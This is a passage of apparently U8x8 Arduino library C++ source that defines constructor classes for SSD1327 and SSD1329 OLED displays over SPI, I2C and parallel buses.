u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_6800 : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_8080 : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_6800 : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_8080 : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_6800 : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_ZJY_128X128_8080 : public U8X8 {\n  public: U8X8_SSD1327_ZJY_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_6800 : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_8080 : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_SW_I2C : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_SW_I2C : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1327_MIDAS_128X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_MIDAS_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_SW_I2C : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1327_WS_128X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_WS_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_6800 : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_8080 : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_SW_I2C : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1327_VISIONOX_128X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_VISIONOX_128X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1329_128X96_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1329_128X96_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_128X96_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1329_128X96_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_128X96_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1329_128X96_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_128X96_NONAME_6800 : public U8X8 {\n  public: U8X8_SSD1329_128X96_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_128X96_NONAME_8080 : public U8X8 {\n  public: U8X8_SSD1329_128X96_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_96X96_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1329_96X96_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_96X96_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1329_96X96_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_96X96_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1329_96X96_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), 